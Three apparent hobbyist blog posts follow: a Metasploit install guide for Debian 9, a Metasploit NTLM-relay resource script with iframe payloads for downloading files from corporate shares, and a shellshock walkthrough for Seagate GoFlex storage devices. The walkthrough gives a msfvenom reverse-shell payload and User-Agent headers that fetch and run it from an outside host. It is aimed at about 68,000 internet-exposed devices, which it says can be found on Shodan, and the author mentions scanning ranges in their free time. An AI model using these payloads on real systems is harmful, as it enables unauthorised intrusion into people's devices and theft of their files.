Installing Metasploit on Debian 9 server

So I recently installed Metasploit on Debian 9, heres how:

apt-get install default-jre default-jdk software-properties-common
add-apt-repository "deb http://ppa.launchpad.net/webupd8team/java/ubuntu xenial main"
apt-get update
apt-get install oracle-java8-installer
apt-get install build-essential libreadline-dev libssl-dev libpq5 libpq-dev libreadline5 libsqlite3-dev libpcap-dev git-core autoconf postgresql pgadmin3 curl zlib1g-dev libxml2-dev libxslt1-dev vncviewer libyaml-dev
curl -sSL https://rvm.io/mpapis.asc | gpg --import -
curl -L https://get.rvm.io | bash -s stable
source /usr/local/rvm/scripts/rvm
echo "source /usr/local/rvm/scripts/rvm" >> ~/.bashrc
source ~/.bashrc
RUBYVERSION=$(wget https://raw.githubusercontent.com/rapid7/metasploit-framework/master/.ruby-version -q -O - )
rvm install $RUBYVERSION
rvm use $RUBYVERSION --default
cd ~
git clone git://github.com/sstephenson/rbenv.git .rbenv
git clone git://github.com/sstephenson/rbenv.git .rbenv
echo 'eval "$(rbenv init -)"' >> ~/.bashrc
exec $SHELL
git clone git://github.com/sstephenson/ruby-build.git ~/.rbenv/plugins/ruby-build
echo 'export PATH="$HOME/.rbenv/plugins/ruby-build/bin:$PATH"' >> ~/.bashrc
git clone git://github.com/dcarley/rbenv-sudo.git ~/.rbenv/plugins/rbenv-sudo
exec $SHELL
RUBYVERSION=$(wget https://raw.githubusercontent.com/rapid7/metasploit-framework/master/.ruby-version -q -O - )
rbenv install $RUBYVERSION
rbenv global $RUBYVERSION
mkdir ~/dev
cd ~/dev
git clone https://github.com/nmap/nmap.git
./configure
make
make install
make clean
su postgres
createuser msf -P -S -R -D
createdb -O msf msf
psql -c "ALTER USER msf WITH ENCRYPTED PASSWORD 'blah';"
exit
cd /opt/
git clone https://github.com/rapid7/metasploit-framework.git
cd metasploit-framework/
rvm --default use ruby-${RUBYVERSION}@metasploit-framework
gem install bundler
bundle install
bash -c 'for MSF in $(ls msf*); do ln -s /opt/metasploit-framework/$MSF /usr/local/bin/$MSF;done'
nano /opt/metasploit-framework/config/database.yml

datebase.yml contents

production:
 adapter: postgresql
 database: msf
 username: msf
 password: blah
 host: 127.0.0.1
 port: 5432
 pool: 75
 timeout: 5

More cmds...

sh -c "echo export MSF_DATABASE_CONFIG=/opt/metasploit-framework/config/database.yml >> /etc/profile"
source /etc/profile
msfconsole...

Yeah that sucked, but it works!

Trying to automate the downloading of all files in a share using metasploit's http_ntlmrelay module with little recon.

Sorry for the long title. So I have been trying to automate the downloading of all files on a share using metasploit's http_ntlmrelay module. Here is the secinaro, you are on a network with file share servers that host employee's windows documents folder and authenticate using ntlm. Active Directory has anonymous read access, which you can use to find the address to the file server and path the user has access to. Assuming you have only one shot to get the loot I first use RTYPE SMB_LS, then use a sync file to parse the data and download the first file found using SMB_GET. I used a resource file to tie it all together, here is the code I used below.

resource.rb
use auxiliary/server/http_ntlmrelay
unset all
notes -d
set RHOST
set RPORT 445
set RTYPE SMB_LS
set RURIPATH
set URIPATH test1
run
set RTYPE SMB_GET
set SYNCFILE syncfile.rb
set URIPATH test2
run

syncfile.rb

print_status("looking for data...")

framework.db.notes.each do |note|

        if (note.ntype == 'ntlm_relay')

                for app in note.data[:Response]

                        p1 = app[1].to_s.split(",")

                        if (p1[0] == '{"type"=>"F"')

                                datastore['RURIPATH']=note.data[:RURI]+app[0]

                        end

                end

        end

        puts(datastore['RURIPATH'])

end

payload.html

[iframe src="http://kali:8080/test1"]

[iframe src="http://kali:8080/test2"]

The issues I'm having are, this method can only download one file at the moment and if the share's path goes deeper then one directory (i.e. path\to\share\) test1 does not authenticate properly and the attack fails. I have just started messing with the source code of the module but have not gotten anywhere yet. I will keep you posted if I figure anything out, if you have a solution please let me know! Thank you and enjoy.

Getting a remote shell on any one of 68,000+ Seagate GoFlex devices

I have been scanning some ranges in my free time and came across a Seagate GoFlex Home Network Storage System which my scanner flagged as being vulnerable to shellshock but getting a remote shell was no easy task "for me anyway". I ended up having to build a payload with msfvenom and doing the execution using burp suite and handling the shell with metasploit handler. The best part is this device uses UPNP to tunnel to the Internet, giving us easy access >;)

Start with the payload:

msfvenom -p php/meterpreter/reverse_tcp lport=4444 lhost=1.2.3.4 >msf.txt

Now upload msf.txt to your web server. After the payload is uploaded open metasploit and

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
run 

That should start up our listener. Now we need to open up burp and use the repeater. Enter the following for the request:

GET /support/ HTTP/1.1

Host: 5.6.7.8

User-Agent: () { :; }; echo Content-Type: text/plain; echo; echo; PATH=/usr/bin:/usr/local/bin:/bin; export PATH; wget http://1.2.3.4/msf.txt -O /tmp/msf.php2>&1;

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

Also don't forget to configure the target correctly. Hit go and wait a few seconds and you should see some wget output and if all went well you should now have uploaded msf.php to the /tmp/ dir of the device. Now we just need to execute it. For this we use burp again. This time put this in the request:

GET /support/ HTTP/1.1

Host: 5.6.7.8

User-Agent: () { :; }; echo Content-Type: text/plain; echo; echo; PATH=/usr/bin:/usr/local/bin:/bin; export PATH; php /tmp/msf.php;

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive

This time when you hit Go, and your ports are forwarded correctly, you should be able to go back to our msfconsole window and see a session has opened.  You wont have root at this point but you can still do a lot of fun stuff. You can find some of these devices on Shodan by searching for "hipname=". If anyone figures out how to get root please share :) Enjoy!

*Count of vulnerable devices taken from Shodan search results, not actual testing.
**I did not test it but you could try to use linux/x86/exec payload in bash bug exploit module to deploy and execute. This would allow you to keep it all in metasploit.